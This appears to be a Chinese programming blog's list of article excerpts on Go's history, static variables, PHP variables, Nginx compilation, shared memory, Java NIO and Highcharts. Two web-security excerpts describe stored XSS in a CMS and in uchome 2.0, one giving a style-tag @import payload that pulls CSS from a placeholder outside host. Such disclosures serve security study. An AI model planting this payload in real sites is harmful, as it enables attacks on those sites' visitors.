作者:AlbertWen
添加时间:2017-10-29 09:43:48
修改时间:2025-09-09 07:12:04
分类:
02.Golang编程
编辑
来历
很久以前,有一个IT公司,这公司有个传统,允许员工拥有20%自由时间来开发实验性项目。在2007的某一天,公司的几个大牛,正在用c++开发一些比较繁琐但是核心的工作,主要包括庞大的分布式集群,大牛觉得很闹心,后来c++委员会来他们公司演讲,说c++将要添加大概35种新特性。这几个大牛的其中一个人,名为:Rob Pike,听后心中一万个xxx飘过,“c++特性还不够多吗?简化c++应该更有成就感吧”。于是乎,Rob Pike和其他几个大牛讨论了一下,怎么解决这个问题,过了一会,Rob Pike说要不我们自己搞个语言吧,名字叫“go”,非常简短,容易拼写。其他几位大牛就说好啊,然后他们找了块白板,在上面写下希望能有哪些功能(详见文尾)。接下来的时间里,大牛们开心的讨论设计这门语言的特性,经过漫长的岁月,他们决定,以c语言为原型,以及借鉴其他语言的一些特性,来解放程序员,解放自己,然后在2009年,go语言诞生。
作者:AlbertWen
添加时间:2012-05-26 09:32:01
修改时间:2025-09-09 07:43:15
分类:
11.PHP基础
编辑
什么是static静态变量?(以下为在C语言中的理解)
静态变量 类型说明符是static。
静态变量属于静态存储方式,其存储空间为内存中的静态数据区(在静态存储区内分配存储单元),该 区域中的数据在整个程序的运行期间一直占用这些存储空间(在程序整个运行期间都不释放),也可以认为是其内存地址不变,直到整个程序运行结束(相反,而 auto自动变量,即动态局部变量,属于动态存储类别,占动态存储空间,函数调用结束后即释放)。静态变量虽在程序的整个执行过程中始终存在,但是在它作 用域之外不能使用。
作者:AlbertWen
添加时间:2012-05-26 11:10:16
修改时间:2025-09-09 07:16:34
分类:
11.PHP基础
编辑
几乎所有的编程语言都会涉及到变量和常量这两个概念,PHP也不例外。本节将介绍PHP语言中的变量和常量的应用方法。
一、什么是变量和常量
在程序执行的过程中,变量存储的值可以随时改变,而常量存储的值是不可以改变的。
变量用于存储临时数据信息。某一变量被定义的时候,系统会自动为该变量分配一个存储空间存放变量的值。我们可以在定义变量的时候对其赋值,如果需要改动变量的值,只需再次对其进行赋值即可。对于那些临时数据信息或者处理过程,都可以存放在变量中。
常量用于存储不经常改变的数据信息。定义常量的时候可以对其赋值,在程序的整个执行期间内,这个赋值都有效且不可再次对该常量进行赋值操作。
作者:AlbertWen
添加时间:2012-05-26 00:41:40
修改时间:2025-09-09 07:02:43
分类:
11.PHP基础
编辑
在看别人项目过程中,看到函数里面很多static修饰的变量,关于static修饰的变量,作用域,用法越看越困惑,所以查了下资料。
static用法如下:
1.static 放在函数内部修饰变量
2.static放在类里修饰属性,或方法
3.static放在类的方法里修饰变量
4.static修饰在全局作用域的变量
作者:AlbertWen
添加时间:2017-10-29 21:23:29
修改时间:2025-09-10 10:34:44
分类:
06.Linux软件安装
编辑
编译 Nginx
#安装依赖库
sudo apt-get -y install libpcre3 libpcre3-dev
sudo apt-get -y install libssl-dev openssl libcurl4-openssl-dev
sudo apt-get -y install build-essential libtool
#安装pcre库
cd /alidata/tmp/deepin-sdk/source2/nginx
sudo tar -xzvf ./pcre-8.36.tar.gz
cd ./pcre-8.36
sudo ./configure
sudo make && sudo make install
作者:AlbertWen
添加时间:2017-10-27 09:55:53
修改时间:2025-09-09 07:33:51
分类:
13.C/C++/Rust/仓颉
编辑
一、什么是共享内存
顾名思义,共享内存就是允许两个不相关的进程访问同一个逻辑内存。共享内存是在两个正在运行的进程之间共享和传递数据的一种非常有效的方式。不同进程之间共享的内存通常安排为同一段物理内存。进程可以将同一段共享内存连接到它们自己的地址空间中,所有进程都可以访问共享内存中的地址,就好像它们是由用C语言函数malloc()分配的内存一样。而如果某个进程向共享内存写入数据,所做的改动将立即影响到可以访问同一段共享内存的任何其他进程。
作者:AlbertWen
添加时间:2012-05-29 23:03:56
修改时间:2025-09-14 01:01:45
分类:
16.编程基础/Web安全
编辑
利用条件:开启注册&&开启投稿
方法 :注册会员 -> 发表文章:内容输入
<style>@import 'http://xxx.com/xss.css';</style>
作者:AlbertWen
添加时间:2012-05-29 23:04:34
修改时间:2025-09-12 06:19:59
分类:
16.编程基础/Web安全
编辑
发布时间:2010-09-03
影响版本:uchome 2.0
漏洞描述:看源码分析的,出错位置较敏感,而且基本没有利用限制,个人主页自定义风格时,可@import外部css文件
测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
作者:AlbertWen
添加时间:2013-08-14 22:15:09
修改时间:2025-09-09 07:20:45
分类:
08.Java基础
编辑
Java NIO中的Buffer用于和NIO通道进行交互。如你所知,数据是从通道读入缓冲区,从缓冲区写入到通道中的。
作者:AlbertWen
添加时间:2014-07-03 15:36:00
修改时间:2025-09-09 07:13:19
分类:
06.前端/Vue/Node.js
编辑
Highcharts是一个制作图表的纯JavaScript类库,主要特性如下:
-
兼容性:兼容当今所有的浏览器,包括iPhone、IE(IE6,IE7,IE8等)和火狐等等;
-
对个人用户完全免费;
-
纯JS,无BS;
-
支持大部分的图表类型:直线图,曲线图、区域图、区域曲线图、柱状图、饼装图、散布图;
-
跨语言:不管是PHP、Asp.net还是Java都可以使用,它只需要三个文件:一个是Highcharts的核心文件highcharts.js,还有a canvas emulator for IE和Jquery类库或者MooTools类库;
官方演示:http://www.highcharts.com/demo/